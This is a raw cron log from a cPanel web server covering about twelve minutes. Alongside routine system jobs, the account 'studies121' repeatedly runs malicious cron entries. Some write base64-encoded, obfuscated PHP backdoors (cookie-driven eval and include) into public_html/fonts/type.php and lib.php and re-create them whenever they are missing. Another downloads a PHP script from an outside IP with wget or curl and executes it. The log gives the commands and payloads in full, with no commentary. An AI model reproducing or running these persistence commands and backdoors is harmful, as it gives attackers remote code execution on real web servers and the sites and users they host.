Sep 21 11:31:01 ip-184-168-122-23 CROND[22838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:31:01 ip-184-168-122-23 CROND[22841]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:31:01 ip-184-168-122-23 CROND[22840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:32:01 ip-184-168-122-23 CROND[22976]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 11:32:01 ip-184-168-122-23 CROND[22977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:32:01 ip-184-168-122-23 CROND[22981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:32:01 ip-184-168-122-23 CROND[22982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:32:01 ip-184-168-122-23 CROND[22983]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:33:01 ip-184-168-122-23 CROND[23143]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:33:01 ip-184-168-122-23 CROND[23146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:33:01 ip-184-168-122-23 CROND[23145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:33:01 ip-184-168-122-23 CROND[23147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:34:01 ip-184-168-122-23 CROND[23271]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:34:01 ip-184-168-122-23 CROND[23273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:34:01 ip-184-168-122-23 CROND[23275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:34:01 ip-184-168-122-23 CROND[23274]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 11:34:01 ip-184-168-122-23 CROND[23276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:35:01 ip-184-168-122-23 CROND[23438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:35:01 ip-184-168-122-23 CROND[23441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:35:01 ip-184-168-122-23 CROND[23443]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 11:35:01 ip-184-168-122-23 CROND[23444]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 21 11:35:01 ip-184-168-122-23 CROND[23445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:35:01 ip-184-168-122-23 CROND[23449]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 11:35:01 ip-184-168-122-23 CROND[23451]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:35:01 ip-184-168-122-23 CROND[23450]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 11:36:01 ip-184-168-122-23 CROND[23605]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:36:01 ip-184-168-122-23 CROND[23608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:36:01 ip-184-168-122-23 CROND[23607]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 11:36:01 ip-184-168-122-23 CROND[23610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:36:01 ip-184-168-122-23 CROND[23609]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:37:01 ip-184-168-122-23 CROND[23733]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:37:01 ip-184-168-122-23 CROND[23734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:37:01 ip-184-168-122-23 CROND[23735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:37:01 ip-184-168-122-23 CROND[23736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:38:01 ip-184-168-122-23 CROND[24037]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:38:01 ip-184-168-122-23 CROND[24041]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:38:01 ip-184-168-122-23 CROND[24039]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 11:38:01 ip-184-168-122-23 CROND[24042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:38:01 ip-184-168-122-23 CROND[24040]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:39:01 ip-184-168-122-23 CROND[24173]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:39:01 ip-184-168-122-23 CROND[24178]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:39:01 ip-184-168-122-23 CROND[24176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:39:01 ip-184-168-122-23 CROND[24177]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 11:39:01 ip-184-168-122-23 CROND[24179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:40:01 ip-184-168-122-23 CROND[24317]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 11:40:01 ip-184-168-122-23 CROND[24320]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 11:40:01 ip-184-168-122-23 CROND[24322]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 11:40:01 ip-184-168-122-23 CROND[24324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:40:01 ip-184-168-122-23 CROND[24325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:40:01 ip-184-168-122-23 CROND[24327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:40:01 ip-184-168-122-23 CROND[24330]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 11:40:01 ip-184-168-122-23 CROND[24331]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:41:01 ip-184-168-122-23 CROND[24446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:41:01 ip-184-168-122-23 CROND[24448]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:41:01 ip-184-168-122-23 CROND[24450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:41:01 ip-184-168-122-23 CROND[24449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:42:01 ip-184-168-122-23 CROND[24583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 11:42:01 ip-184-168-122-23 CROND[24584]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 11:42:01 ip-184-168-122-23 CROND[24582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 11:42:01 ip-184-168-122-23 CROND[24587]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 11:42:01 ip-184-168-122-23 CROND[24585]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:43:01 ip-184-168-122-23 CROND[24724]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 11:43:01 ip-184-168-122-23 CROND[24727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
